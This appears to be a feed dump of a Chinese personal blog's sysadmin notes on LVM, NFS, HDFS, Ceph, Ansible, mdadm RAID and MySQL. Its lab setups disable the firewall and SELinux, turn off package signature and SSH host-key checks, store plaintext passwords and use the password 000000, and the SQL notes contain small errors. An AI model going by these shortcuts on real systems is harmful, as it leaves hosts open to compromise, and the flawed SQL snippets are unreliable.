  LV Status              available
  # open                 1
  LV Size                50.00 GiB
  Current LE             12800
  Segments               1
  Allocation             inherit
  Read ahead sectors     auto
  - currently set to     8192
  Block device           253:0

  --- Logical volume ---
  LV Path                /dev/vg1/lv1
  LV Name                lv1
  VG Name                vg1
  LV UUID                hwQopV-G3KX-o6VZ-K4f3-QXlz-CEm7-BBdQdz
  LV Write Access        read/write
  LV Creation host, time linlink, 2023-03-10 09:51:20 -0500
  LV Status              available
  # open                 0
  LV Size                5.00 GiB
  Current LE             1280
  Segments               2
  Allocation             inherit
  Read ahead sectors     auto
  - currently set to     8192
  Block device           253:3

扩展根分区

点击查看

fdisk /dev/sdb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
[root@linlink ~]# fdisk /dev/sdb
Welcome to fdisk (util-linux 2.23.2).

Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.

Device does not contain a recognized partition table
Building a new DOS disklabel with disk identifier 0x5166a770.

Command (m for help): n
Partition type:
   p   primary (0 primary, 0 extended, 4 free)
   e   extended
Select (default p): p
Partition number (1-4, default 1): 1
First sector (2048-83886079, default 2048):
Using default value 2048
Last sector, +sectors or +size{K,M,G} (2048-83886079, default 83886079):
Using default value 83886079
Partition 1 of type Linux and of size 40 GiB is set

Command (m for help): t
Selected partition 1
Hex code (type L to list all codes): 8e
Changed type of partition 'Linux' to 'Linux LVM'

Command (m for help): p

Disk /dev/sdb: 42.9 GB, 42949672960 bytes, 83886080 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk label type: dos
Disk identifier: 0x5166a770

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1            2048    83886079    41942016   8e  Linux LVM

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.
Syncing disks.

格式化

1
2
3
4
5
6
7
8
9
10
[root@linlink ~]# mkfs.xfs /dev/sdb1
meta-data=/dev/sdb1              isize=512    agcount=4, agsize=2621376 blks
         =                       sectsz=512   attr=2, projid32bit=1
         =                       crc=1        finobt=0, sparse=0
data     =                       bsize=4096   blocks=10485504, imaxpct=25
         =                       sunit=0      swidth=0 blks
naming   =version 2              bsize=4096   ascii-ci=0 ftype=1
log      =internal log           bsize=4096   blocks=5119, version=2
         =                       sectsz=512   sunit=0 blks, lazy-count=1
realtime =none                   extsz=4096   blocks=0, rtextents=0

创建pv

1
2
3
4
[root@linlink ~]# pvcreate /dev/sdb1
WARNING: xfs signature detected on /dev/sdb1 at offset 0. Wipe it? [y/n]: y
  Wiping xfs signature on /dev/sdb1.
  Physical volume "/dev/sdb1" successfully created.

将pv添加到/dev/mapper/centos-root

1
2
[root@linlink ~]# vgextend centos /dev/sdb1
  Volume group "centos" successfully extended

查看

1
2
3
4
5
6
7
8
9
10
[root@linlink ~]# df -TH
Filesystem              Type      Size  Used Avail Use% Mounted on
/dev/mapper/centos-root xfs        54G  1.1G   53G   2% /
devtmpfs                devtmpfs  2.0G     0  2.0G   0% /dev
tmpfs                   tmpfs     2.0G     0  2.0G   0% /dev/shm
tmpfs                   tmpfs     2.0G   13M  2.0G   1% /run
tmpfs                   tmpfs     2.0G     0  2.0G   0% /sys/fs/cgroup
/dev/sda1               xfs       1.1G  149M  915M  14% /boot
/dev/mapper/centos-home xfs       156G   34M  156G   1% /home
tmpfs                   tmpfs     396M     0  396M   0% /run/user/0

扩展逻辑卷

1
2
3
[root@linlink ~]# lvextend -l +100%FREE /dev/mapper/centos-root
  Size of logical volume centos/root changed from 50.00 GiB (12800 extents) to 90.00 GiB                                                                                                                        (23040 extents).
  Logical volume centos/root successfully resized.
1
lvextend -L +40G /dev/mapper/centos-root                //L和l的区别

xfs_growfs重新读取

1
2
3
4
5
6
7
8
9
10
11
[root@linlink ~]# xfs_growfs /dev/mapper/centos-root
meta-data=/dev/mapper/centos-root isize=512    agcount=4, agsize=3276800 blks
         =                       sectsz=512   attr=2, projid32bit=1
         =                       crc=1        finobt=0 spinodes=0
data     =                       bsize=4096   blocks=13107200, imaxpct=25
         =                       sunit=0      swidth=0 blks
naming   =version 2              bsize=4096   ascii-ci=0 ftype=1
log      =internal               bsize=4096   blocks=6400, version=2
         =                       sectsz=512   sunit=0 blks, lazy-count=1
realtime =none                   extsz=4096   blocks=0, rtextents=0
data blocks changed from 13107200 to 23592960

再次查看

1
2
3
4
5
6
7
8
9
10
[root@linlink ~]# df -TH
Filesystem              Type      Size  Used Avail Use% Mounted on
/dev/mapper/centos-root xfs        97G  1.1G   96G   2% /
devtmpfs                devtmpfs  2.0G     0  2.0G   0% /dev
tmpfs                   tmpfs     2.0G     0  2.0G   0% /dev/shm
tmpfs                   tmpfs     2.0G   13M  2.0G   1% /run
tmpfs                   tmpfs     2.0G     0  2.0G   0% /sys/fs/cgroup
/dev/sda1               xfs       1.1G  149M  915M  14% /boot
/dev/mapper/centos-home xfs       156G   34M  156G   1% /home
tmpfs                   tmpfs     396M     0  396M   0% /run/user/0

NFS

点击查看

服务端

安装软件包

1
yum -y install nfs-utils rpcbind

配置相关文件、注：192.168.20.0/24为主机IP段

1
2
mkdir /nfs
echo '/nfs 192.168.20.0/24(rw,sync,no_root_squash)' > /etc/exports
权限解释
rw:可读写
ro:只读，但最终能不能读写，还是与文件系统的rwx 及身份有关
no_root_squash：当NFS客户端以root管理员访问时，映射为NFS服务器的root管理员
root_squash：当NFS客户端以root管理员访问时，映射为NFS服务器的匿名（nobody）用户
all_squash:不论登入NFS 的使用者身份为何，均被映射为匿名用户，通常就是nobody(nfsnobody)
insecure:允许从客户端过来的非授权访问
sync:数据会同步写入到内存与硬盘中
async:数据会先暂存于内存当中，而非直接写入硬盘
anonuid:指定uid的值，此uid必须存在于/etc/passwd中
anongid:指定gid的值，此gid必须存在于/etc/group中

启动nfs服务+开机自启

1
systemctl start rpcbind nfs-server && systemctl enable rpcbind nfs-server

检查服务是否存在、注：192.168.20.10为主机ip及nfs服务端ip

1
showmount -e 192.168.20.10

客户端

客户端安装软件包(不用启动)

1
yum -y install nfs-utils rpcbind

客户端检查

1
showmount -e 192.168.20.10

客户端挂载

1
2
mkdir /nfs
mount -t nfs 192.168.20.10:/nfs /nfs

客户端查看挂载

1
df -TH

客户端测试写入

1
2
mkdir /nfs/qnmdnfs
ll /nfs/

HDFS

点击查看

配置需求清单

虚拟机工作节点1工作节点2工作节点3
主机名node1node2node3
CPU2H2H2H
磁盘60GB60GB60GB
内存2GB2GB2GB
网络模式NATNATNAT
IP地址192.168.20.21192.168.20.22192.168.20.23

添加本地解析_所有工作节点执行

1
2
3
4
echo "192.168.20.21 node1
192.168.20.22 node2
192.168.20.23 node3 
" >> /etc/hosts

下载jdk1.8和hadoop软件包_所有工作节点执行

1
yum -y install wget
1
wget https://llwp.linlink.xyz/d/cloudcompute/test/jdk-8u331-linux-x64.tar.gz
1
wget https://llwp.linlink.xyz/d/cloudcompute/test/hadoop-2.10.1.tar.gz

解压_所有工作节点执行

1
2
tar xf jdk-8u331-linux-x64.tar.gz -C /usr/local/
tar xf hadoop-2.10.1.tar.gz -C /usr/local/

配置jdk环境和Hadoop环境_所有工作节点执行

1
2
3
4
5
echo 'export JAVA_HOME=/usr/local/jdk1.8.0_331
export PATH=$PATH:$JAVA_HOME/bin
export CLASSPATH=$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
export PATH=$PATH:$JAVA_HOME/bin:/usr/local/hadoop-2.10.1/bin/:/usr/local/hadoop-2.10.1/sbin/
' >> /etc/profile

检查jdk环境_所有工作节点执行

1
2
source /etc/profile
java -version

设置免密登录_只在node1执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[root@node1 ~]# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:3F/MMmOKhOzcw1F5gkImyLlkMgBTulWKBkkyrZe5Rl8 root@node1
The key's randomart image is:
+---[RSA 2048]----+
|@*.oo o          |
|*=Bo +   . .     |
|oBo+  . . + .    |
|oo*  .E+ o o o   |
|.o o .o S . = +  |
|  o .o + o + =   |
| .    o = . .    |
|         .       |
|                 |
+----[SHA256]-----+
[root@node1 ~]#
1
2
3
4
5
6
7
8
9
[root@node1 ~]# ssh-copy-id node1
/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/root/.ssh/id_rsa.pub"
The authenticity of host 'node1 (fe80::e71b:1e52:c6a8:3521%ens33)' can't be established.
ECDSA key fingerprint is SHA256:cuzySJJ+Y1b0xwsabngEt/Onknu48EOGb+lxmFxLwsA.
ECDSA key fingerprint is MD5:f9:b6:2c:32:94:58:10:70:88:89:9b:f4:8a:2b:18:fa.
Are you sure you want to continue connecting (yes/no)? yes
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
root@node1's password: 输入密码
1
2
3
4
5
6
7
8
9
[root@node1 ~]# ssh-copy-id node2
/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/root/.ssh/id_rsa.pub"
The authenticity of host 'node2 (192.168.20.22)' can't be established.
ECDSA key fingerprint is SHA256:cuzySJJ+Y1b0xwsabngEt/Onknu48EOGb+lxmFxLwsA.
ECDSA key fingerprint is MD5:f9:b6:2c:32:94:58:10:70:88:89:9b:f4:8a:2b:18:fa.
Are you sure you want to continue connecting (yes/no)? yes
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
root@node2's password: 输入密码
1
2
3
4
5
6
7
8
9
[root@node1 ~]# ssh-copy-id node3
/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/root/.ssh/id_rsa.pub"
The authenticity of host 'node3 (192.168.20.23)' can't be established.
ECDSA key fingerprint is SHA256:cuzySJJ+Y1b0xwsabngEt/Onknu48EOGb+lxmFxLwsA.
ECDSA key fingerprint is MD5:f9:b6:2c:32:94:58:10:70:88:89:9b:f4:8a:2b:18:fa.
Are you sure you want to continue connecting (yes/no)? yes
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
root@node3's password: 输入密码

修改配置文件__所有工作节点执行

1
2
sed "25,26d" /usr/local/hadoop-2.10.1/etc/hadoop/hadoop-env.sh  -i
sed -i "24a export JAVA_HOME=/usr/local/jdk1.8.0_331" /usr/local/hadoop-2.10.1/etc/hadoop/hadoop-env.sh
1
sed -i "19a <property>\n\    <name>fs.defaultFS</name>\n\    <value>hdfs://node1:9000</value>\n</property>\n<property>\n\    <name>hadoop.tmp.dir</name>\n\    <value>/opt/hadoop-2.10.1</value>\n</property>" /usr/local/hadoop-2.10.1/etc/hadoop/core-site.xml
1
sed -i "19a <property>\n\    <name>dfs.replication</name>\n\    <value>1</value>\n</property>\n<property>\n\    <name>dfs.namenode.secondary.http-address</name>\n\    <value>node2:50090</value>\n</property>" /usr/local/hadoop-2.10.1/etc/hadoop/hdfs-site.xml
1
echo "node3" > /usr/local/hadoop-2.10.1/etc/hadoop/slaves

初始化+启动_node1执行

1
2
hadoop namenode -format
start-dfs.sh

查看节点状态

1
2
3
[root@node1 ~]# jps
27145 NameNode
27530 Jps
1
2
3
[root@node2 ~]# jps
11333 Jps
11273 SecondaryNameNode
1
2
3
[root@node3 ~]# jps
13621 Jps
13530 DataNode

test一下

1
2
3
4
[root@node1 ~]# hadoop fs -put jdk-8u331-linux-x64.tar.gz /
[root@node1 ~]# hadoop fs -ls /
Found 1 items
-rw-r--r--   1 root supergroup  148003999 2023-04-05 09:59 /jdk-8u331-linux-x64.tar.gz

GlusterFS

点击查看

Ceph

点击查看

配置需求清单

虚拟机工作节点1(admin)工作节点2(osd1)工作节点3(osd2)
主机名node1node2node3
CPU2H2H2H
磁盘60GB+20GB60GB+20GB60GB+20GB
内存2GB2GB2GB
网络模式NATNATNAT
IP地址192.168.20.31192.168.20.32192.168.20.33

关闭防火墙和selinux_所有工作节点执行

1
systemctl stop firewalld && systemctl disable firewalld
1
setenforce 0

添加本地解析_所有工作节点执行

1
2
3
4
echo "192.168.20.31 node1
192.168.20.32 node2
192.168.20.33 node3 
" >> /etc/hosts

配置免密登录_node1执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
[root@node1 ~]# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
/root/.ssh/id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:6JofyA259O812g65JO/R5gwDh6fV/GYyj5jL3mMn1wA root@node1
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|                 |
|                 |
|     . o oE      |
|    + + S o.     |
|   o B * o ..    |
|    + B B B +o   |
|     o B ^+Oo .  |
|    o..+&+B=.    |
+----[SHA256]-----+
[root@node1 ~]# ssh-copy-id root@node1
/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/root/.ssh/id_rsa.pub"
The authenticity of host 'node1 (192.168.20.31)' can't be established.
ECDSA key fingerprint is SHA256:QOg9grT/Owi/HDJRYqkboEZGGOABHPRDTpv99gGYL28.
ECDSA key fingerprint is MD5:d8:bf:8e:c5:89:5e:8c:94:36:f2:e2:20:c9:58:25:71.
Are you sure you want to continue connecting (yes/no)? yes
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
root@node1's password:     这里输入密码

Number of key(s) added: 1

Now try logging into the machine, with:   "ssh 'root@node1'"
and check to make sure that only the key(s) you wanted were added.

[root@node1 ~]# ssh-copy-id root@node2
/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/root/.ssh/id_rsa.pub"
The authenticity of host 'node2 (192.168.20.32)' can't be established.
ECDSA key fingerprint is SHA256:QOg9grT/Owi/HDJRYqkboEZGGOABHPRDTpv99gGYL28.
ECDSA key fingerprint is MD5:d8:bf:8e:c5:89:5e:8c:94:36:f2:e2:20:c9:58:25:71.
Are you sure you want to continue connecting (yes/no)? yes
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
root@node2's password:    这里输入密码

Number of key(s) added: 1

Now try logging into the machine, with:   "ssh 'root@node2'"
and check to make sure that only the key(s) you wanted were added.

[root@node1 ~]# ssh-copy-id root@node3
/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/root/.ssh/id_rsa.pub"
The authenticity of host 'node3 (192.168.20.33)' can't be established.
ECDSA key fingerprint is SHA256:QOg9grT/Owi/HDJRYqkboEZGGOABHPRDTpv99gGYL28.
ECDSA key fingerprint is MD5:d8:bf:8e:c5:89:5e:8c:94:36:f2:e2:20:c9:58:25:71.
Are you sure you want to continue connecting (yes/no)? yes
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
root@node3's password:    这里输入密码

Number of key(s) added: 1

Now try logging into the machine, with:   "ssh 'root@node3'"
and check to make sure that only the key(s) you wanted were added.

配置yum源_所有工作节点执行

1
yum -y install wget
1
curl -o /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-7.repo
1
wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
echo "[ceph]
name=ceph
baseurl=http://mirrors.aliyun.com/ceph/rpm-nautilus/el7/x86_64/
gpgcheck=0
priority=1
[ceph-noarch]
name=cephnoarch
baseurl=http://mirrors.aliyun.com/ceph/rpm-nautilus/el7/noarch/
gpgcheck=0
priority=1
[ceph-source]
name=Ceph source packages
baseurl=http://mirrors.aliyun.com/ceph/rpm-nautilus/el7/SRPMS
enabled=0
gpgcheck=1
type=rpm-md
gpgkey=http://mirrors.aliyun.com/ceph/keys/release.asc
priority=1
" > /etc/yum.repos.d/ceph.repo

开始安装Ceph

node1安装

1
yum -y install ceph-deploy ceph python-setuptools

node2~3安装

1
yum -y install ceph python-setuptools

切换工作目录_所有工作节点执行

1
cd /etc/ceph/

node1执行

1
ceph-deploy new node2 node3
1
ceph-deploy mon create-initial
1
ceph-deploy osd create --data /dev/sdb node2
1
ceph-deploy osd create --data /dev/sdb node3
1
ceph-deploy admin node2 node3
1
ceph-deploy mgr create node1 node2 node3

所有工作节点执行

1
chmod +r ceph.client.admin.keyring

创建dashboard_node1执行

1
yum -y install ceph-mgr-dashboard

编辑ceph.conf文件_node1执行

1
2
3
echo "[mon]
mgr initial modules = dashboard
" >> /etc/ceph/ceph.conf

推送配置文件_node1执行

1
ceph-deploy --overwrite-conf config push node1 node2 node3

重启mgr_node1执行

1
systemctl restart ceph-mgr@node1

使用以下内置命令生成并安装自签名证书_node1执行

1
2
ceph mgr module enable dashboard --force
ceph dashboard create-self-signed-cert

创建具有管理员角色的用户_node1执行

1
echo "000000" > passwd
1
ceph dashboard set-login-credentials admin -i passwd

查看ceph-mgr服务:

1
ceph mgr services

访问https://node1_ip:8443

1
2
3
# 注意：这里一定要加"https://"
账号：admin
密码：000000
]]> <h1 id="磁盘分区"><a href="#磁盘分区" class="headerlink" title="磁盘分区"></a>磁盘分区</h1><details class="toggle" ><summary class="toggle-button" style=""> Ansible https://www.linlink.xyz/posts/a71433d.html 2023-02-09T07:00:34.000Z 2023-06-16T14:18:43.131Z 温馨提醒
1
2
这不是教程、只是我的备忘录罢了、如果你能看懂那只能说明你很NB
如果你想学习ansible、可以前往官方地址：https://docs.ansible.com/ansible/latest/

Ansible安装及配置

点击看笔记

安装Ansible

在CentOS上

1
2
sudo yum install -y epel-release
sudo yum install -y ansible libselinux-python

在Fedora上

1
2
sudo yum install -y epel-release
sudo yum install -y ansible

在 Ubuntu系统上配置PPA并安装 Ansible

1
2
3
4
sudo apt update
sudo apt install software-properties-common
sudo add-apt-repository --yes --update ppa:ansible/ansible
sudo apt install ansible

在 Debian 上安装 Ansible

1
2
3
4
deb http://ppa.launchpad.net/ansible/ansible/ubuntu focal main
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 93C4A3FD7BB9C367
sudo apt update
sudo apt install ansible

相关版本信息及配置文件路径

1
2
3
4
5
6
7
[root@mst ~]# ansible --version
ansible 2.9.27
  config file = /etc/ansible/ansible.cfg
  configured module search path = [u'/root/.ansible/plugins/modules', u'/usr/sha re/ansible/plugins/modules']
  ansible python module location = /usr/lib/python2.7/site-packages/ansible
  executable location = /usr/bin/ansible
  python version = 2.7.5 (default, Apr 11 2018, 07:36:10) [GCC 4.8.5 20150623 (R ed Hat 4.8.5-28)]
1
2
3
/etc/ansible/ansible.cfg
/etc/ansible/hosts
#这两个文件路径记住

Ansible认证方式

学习学习
1
2
3
Ansible认证方式(ssh)就两种：
密码认证 传统认证、安全性一般、适用于绝大部分场景
密钥认证 有一定的局限性、安全性强、适用于部分场景

密钥认证

使用ssh-keygen生成私钥和公钥、全部回车默认即可

1
ssh-keygen -t rsa

配发密钥、执行后让你输入目标机器的密码

1
ssh-copy-id $username@$ip

密码认证

1
2
3
/etc/ansible/ansible.cfg
/etc/ansible/hosts
配置密码认证需要用到这两个配置文件

设置默认不检查key

1
sed -i "71a host_key_checking=False" /etc/ansible/ansible.cfg         
1
2
3
4
为什么要设置默认不检查key？
因为如下
Using a SSH password instead of a key is not possible because Host Key checking is enabled and sshpass does not support this.   Please add this host's fingerprint to your known_hosts file to manage this host.
使用SSH密码代替密钥是不可能的，因为主机密钥检查是启用的，而sshpass不支持这一点。请将该主机的指纹添加到known_hosts文件中以管理该主机。

hosts文件配置、相关参数

参数参数类型参数说明
ansible_host主机地址远程主机IP地址
ansible_port主机端口指定ssh连接端口、默认为22
ansible_user主机用户指定默认远程连接用户
ansible_password用户密码指定用户密码

备份一下hosts文件

1
cp /etc/ansible/hosts /etc/ansible/hosts.back

配置hosts文件

1
echo "" > /etc/ansible/hosts                 #里面都是一些配置方法、没什么有用的东西、那就全部清空了
1
2
3
4
5
6
7
8
9
10
[root@mst ~]# cat /etc/ansible/hosts
[test0]
192.168.0.1 ansible_port=22 ansible_user=root ansible_password='password'
#如果需要指定端口、用户请使用test0
[test1]
192.168.0.1  ansible_password='password'
#如果默认端口为22、用户为root、可以简写成test1
[test2]
192.168.0.[1:100]  ansible_password='password'
#如果机器非常的多、可以简写成test2

相关模块学习

点击看笔记

shell模块

  • shell模块和command功能类似，但可以识别特殊字符
    参数释义
    chdir执行命令前先进入到指定目录
    cmd运行命令指定
    creates如果文件存在将不运行
    removes如果文件存在在将运行
    free_form在远程主机中执行的命令，此参数不需要加
    executable指定执行环境，默认为sh

]]> <h1 id="温馨提醒"><a href="#温馨提醒" class="headerlink" title="温馨提醒"></a>温馨提醒</h1><figure class="highlight plaintext"><table><tr><td class="gutter" Linux RAID https://www.linlink.xyz/posts/1d0c3dbf.html 2023-01-29T07:00:34.000Z 2023-02-23T07:56:13.310Z 一些不重要的东西
点击瞧瞧

RAID 是什么？

RAID （ Redundant Array of Independent Disks ）即独立磁盘冗余阵列，简称为「磁盘阵列」，其实就是用多个独立的磁盘组成在一起形成一个大的磁盘系统，从而实现比单块磁盘更好的存储性能和更高的可靠性。

RAID 有哪些？

RAID方案常见的可以分为：RAID0、RAID1、RAID5、RAID6、RAID10。
容量计算中：
C为RAID后容量
n为磁盘个数
d为单个磁盘容量(RAID中磁盘容量大小都应该相同、如果不相同以磁盘容量小的为基准)

RAID类型RAID0RAID1RAID5RAID6RAID10
限制条件两块盘两块盘至少三盘至少四盘至少四盘
容量计算C=100%*ndC=50%*ndC=((n-1)/n)*ndC = (n-2)*dC=50%*nd
优势有效提高磁盘数据的吞吐速度数据同时写入两块磁盘设备(数据的镜像或者自动备份)提供了冗余性(支持一块盘掉线后仍然正常运行)，磁盘空间利用率较高N-1/N(N为磁盘数且必须N>=3)，读写速度较快N-1倍快速的读取性能，更高的容错能力兼顾安全性和速度
缺陷不具备数据备份和错误修复能力磁盘利用率低、只有总量的50%、所以用于系统盘较多写入数据的速度比对单个磁盘进行写入操作稍慢只允许单盘故障对盘的数量要求稍高，磁盘使用率为一半

磁盘分区fd类型

fd分区

以sdb为例子、其它照推

1
fdisk /dev/sdb   #回车                 #对sdb进行分区
1
n       #回车                          #新建一个分区
1
回车选择默认x4
1
t        #回车                          #改分区类型
1
fd         #回车                         #选择fd分区类型
1
w         #回车                          #w保存并退出

mdadm

mdadm

mdadm?

是multiple devices admin的简称、是Linux下的一款标准的软件 RAID 管理工具

安装mdadm

1
yum -y install mdadm

参数

参数作用
-a添加磁盘
-n指定设备数量
-l指定RAID级别
-C创建
-v显示过程
-f模拟设备损坏
-r移除设备
-Q查看摘要信息
-D查看详细信息
-S停止RAID磁盘阵列
-x指定空闲盘（热备磁盘）个数，空闲盘（热备磁盘）能在工作盘损坏后自动顶替

创建RAID

sdb和sdc做RAID0、RAID1的例子

RAID0、注意md0是自己选择的RAID0的名字不是固定的

1
2
3
mdadm -C -v /dev/md0 -n 2 -l 0 /dev/sdb1 /dev/sdc1               #完整写法
mdadm -Cv /dev/md0 -n2 -l0 /dev/sdb1 /dev/sdc1                   #少空格法
mdadm -Cv /dev/md0 -n2 -l0 /dev/sd[b-c]1                         #再再简写

RAID1、别忘了这玩意至少要两块磁盘

1
mdadm -Cv /dev/md1 -n 2 -l 1 /dev/sd[b-c]1

RAID5、别忘了这玩意至少要三块磁盘

1
mdadm -Cv /dev/md5 -n3 -l5 /dev/sd[b-d]1

RAID6、别忘了这玩意至少要四块磁盘

1
mdadm -Cv /dev/md6 -n4 -l6 /dev/sd[b-e]1

RAID10、别忘了这玩意至少要四块磁盘

1
mdadm -Cv /dev/md10 -n4 -l10 /dev/sd[b-e]1

来点实验

小实验

RAID中添加热备份磁盘

1
mdadm <RAID?> -a </dev/sd?>

RAID中停用磁盘

1
mdadm <RAID?> -f </dev/sd?>

RAID中移除坏损的磁盘

1
mdadm <RAID?> -r </dev/sd?>

查看RAID详细信息

1
mdadm -D <RAID?>

停用RAID

1
mdadm -S <RAID?>

RAID技术术语

看看

1．物理盘

物理盘是指构建RAID所使用的独立的物理硬盘，RAID创建完成后，物理盘即转换成成员盘。

2．逻辑盘

多块物理盘通过RAID控制器（硬件RAID卡）或操作系统的RAID程序（软件RAID）配置为设定的RAID级别后，多块物理硬盘就按固定的RAID级别逻辑算法构成了一块新的虚拟硬盘，这个虚拟硬盘就称为逻辑盘，也称为容器。

3．逻辑卷

由逻辑盘形成的虚拟空间称为逻辑卷，也称为逻辑分区。

4．热备盘

热备盘是指连接到RAID系统中的没有使用并处于加电待机状态的物理盘，当把此物理盘设定成热备盘，则RAID控制器通过监控RAID系统，有成员盘发生故障，RAID控制器会自动应用热备盘换掉故障的成员盘，并通过相应RAID级别逻辑算法在热备盘上重建故障成员盘的数据，恢复RAID阵列的完整性。并且系统管理人员可以通过更换故障成员盘，并设定更换后的物理盘为新的热备盘来恢复系统的容错修复能力。

5．去RAID化

RAID出现故障后，RAID中的逻辑盘会无法识别，而RAID成员盘并不是全部都有故障，为了检测和恢复RAID逻辑盘数据，常常要将成员盘从服务器的硬盘槽位上取下分析。当成员离开了服务器的槽位，也就是脱离了RAID控制器的控制，取下的硬盘就称为去RAID化。

6．盘序

多个物理盘组成RAID阵列时，RAID卡会按照硬盘的选择顺序为成员盘安排好序号，这称为盘序。当RAID生成后，盘序就不再发生改变，除非发生热备盘的替换操作，才会影响初始的盘序。

7．条带

创建RAID阵列时，配置程序会按照RAID级别要求把每块物理盘分割成若干个容量为2的n次方扇区（每个扇区512字节）大小的单位空间，n为整数，这每一个单位空间都叫作一个条带（Stripe），条带是RAID系统存取数据的基本单位。条带大小是可变的，每块RAID卡条带都有默认值可以默认设置，当然也可以手动调节为RAID卡的其他预设定值。条带也称为“带区”或者“块”，每个条带大小就代表着该条带包含的扇区数。注：每块物理盘的条带都有一个编号，为了使对应关系明确，起始条带号从0开始，每块物理盘的第一个条带都称为0号条带。

8. 盘数

RAID系统中包含的硬盘个数称为盘数，也称为条带（Stripe）数，并常在RAID配置程序中使用条带数代表成员盘个数。

9．初始化

初始化（Initialize）是指将完成配置的逻辑盘阵列进行条带数据的重置的过程，可选择快速初始化、全面初始化以及不进行初始化三种操作。

10．检测数据一致性

检测数据一致性（Check Consistency）是指检测组成逻辑阵列的成员盘的条带数据的运算是否完成的过程。

11．在线扩容

在线扩容是指在不影响已存在的逻辑盘阵列的数据安全性的基础之上，对目标的逻辑盘添加成员盘的操作过程。

12．在线迁移

在线迁移是指在不影响已存在的逻辑盘阵列的数据安全性的前提下，改变目标逻辑盘的阵列级别属性的过程。

]]> <h1 id="一些不重要的东西"><a href="#一些不重要的东西" class="headerlink" title="一些不重要的东西"></a>一些不重要的东西</h1><details class="toggle" ><summary class="toggle-b SQL另类学习法 https://www.linlink.xyz/posts/8a713a46.html 2023-01-05T07:00:34.000Z 2023-01-15T03:43:46.070Z 数据库
更多

创建数据库

1
CREATE DATABASE [IF NOT EXISTS] $DB_NAME;

参数

  • IF NOT EXISTS 相当于一个条件判断，判断你创建的这个数据库存不存在，不存在就创建，存在就跳过切不报错
  • CHARACTER SET 字符集、如果不指定则默认为utf8
  • COLLATE 效验规则、如果不指定则默认为utf8_general_ci(不区分大小写)、另外常见的一个是utf_bin(区分大小写)

创建数据库规则

  • 不能与其他数据库重名。
  • 名称最长为64个字符，而别名最多可达256个字符
  • 尽量不要使用MySQL关键字作为数据库名、表名、如果需要使用请用反引号包起来
  • 名称可以由任意字母、阿拉伯数字、下划线（_）和“$”组成，可以使用上述的任意字符开头，但不能使用单独的数字，否则会造成它与数值相混淆
  • 在默认情况下，Windows下数据库名、表名的大小写是不敏感的，而在Linux下数据库名、表名的大小写是敏感的。为了便于数据库在平台间进行移植，建议读者采用小写来定义 数据库名和表名

查看数据库列表

1
SHOW DATABASES;

删除数据库

1
drop database $DB_NAME;
备份恢复数据库

备份数据库、Dos命令行执行、一次可以备份多个

1
mysqldump -u$username -p$password -B $DB_NAME1 $DB_NAME2 $DB_NAME3 > $path+$filename.sql
1
2
#命令行写出密码会警告不安全
mysqldump: [Warning] Using a password on the command line interface can be insecure.

恢复数据库、MySQL命令行执行

1
source $path+$filename.sql;

表

更多

创建表

1
2
3
4
use `user`;
create table `user`(
  `id` int, 
  )character set utf8 collate utf8_general_ci engine innodb;
  • 选择user数据库、创建一个字段为id、类型为int、字符集为utf8、效验规则为utf8_general_ci、引擎为innodb的表
  • 如果创建表时不指定字符集、效验规则、引擎，表就会应用数据库的字符集、效验规则、引擎
删除表
1
2
use $db_name;
delete from $table_name;
